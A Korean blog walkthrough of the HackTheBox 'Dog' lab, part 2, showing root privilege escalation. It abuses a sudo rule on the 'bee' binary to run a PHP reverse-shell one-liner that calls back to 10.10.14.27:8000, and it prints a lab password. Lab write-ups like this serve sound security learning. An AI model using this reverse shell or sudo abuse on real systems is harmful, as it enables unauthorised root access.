모의 해킹/Linux

[모의 해킹] HackTheBox - Dog Part 2

solo-infosec 2025. 3. 15. 11:18
반응형

Dog

OS: Linux

취약점: 취약한 Sudo 설정

 

취약한 Sudo 권한으로 실행한 바이너리 파일이 리버스쉘을 생성하도록 유도해서 root 권한을 가진 쉘을 만들 수 있다.

 

SSH

┌─[✗]─[solo@parrot]─[~/Desktop/hack/note]
└──╼ $ssh johncusack@10.10.11.58

SSH로 johncusack 계정으로 로그인한다. SSH가 리버스쉘보다 안정적인 연결을 제공하기 때문에 작업하기 훨씬 수월하다. SSH로 성공적으로 로그인 했으면 사용자의 Sudo 권한을 확인해 보자.

 

johncusack@dog:~$ sudo -l
[sudo] password for johncusack: BackDropJ2024DS2024
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

johncusack 계정은 Sudo 권한으로 /usr/local/bin/bee 바이너리 파일을 실행할 수 있다. 명령어 bee로 해당 바이너리 파일을 실행해 보자.

 

johncusack@dog:~$ bee

실행하자마자 해당 바이너리 파일로 PHP 스크립트와 코드를 실행할 수 있다고 보여준다. Sudo 권한으로 bee바이너리 파일을 실행하면 root 권한으로 bee바이너리 파일을 실행하는 것이고, root 권한을 가진 bee 바이너리 파일로 PHP 스크립트나 코드를 실행하면 root 권한으로 코드를 실행하는 것이나 다름없다. 당장 Sudo 권한으로 bee를 통해 리버스쉘을 생성하는 php 코드를 실행하자

 

johncusack@dog:/var/www/html$ sudo bee eval "echo 'hi'"

성공적으로 PHP 코드를 실행했다. 하지만 여기서 주의할 점은 Backdrop CMS가 설치된 디렉토리에서 실행해야 한다는 점이다. 만약 Backdrop CMS의 루트 디렉토리가 아니라면 PHP 코드를 실행할 수 없다는 안내문이 나온다.

 

johncusack@dog:/var/www/html$ sudo bee eval '$sock=fsockopen("10.10.14.27",8000);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

 

정말 순식간에 root 쉘을 획득했다. 체감상 4~5분도 걸리지 않은 것 같다. Sudo 권한의 취약점과 사용자 권한에 대한 기본적인 이해도만 있다면 아주 쉽게 root 권한을 얻을 수 있다. 그리고 타겟 머신에 접속했을 땐 언제나 먼저 Sudo 권한Setuid 비트가 설정된 파일들, 그리고 netstat 명령어로 해당 호스트의 Listen 상태인 TCP 포트들을 확인하자

 

 

이전편 바로가기

https://solo-infosec.tistory.com/7

 

[모의 해킹] HackTheBox - Dog Part 1

DogOS: Linux취약점: Arbitrary File Upload, Git Repository 노출 노출된 Git 리포지토리를 통해 Backdrop CMS 관리자 계정을 탈취할 수 있고, 해당 계정으로 PHP 리버스쉘을 업로드해서 접근할 수 있다. 포트 스캐

solo-infosec.tistory.com

 

 

 

반응형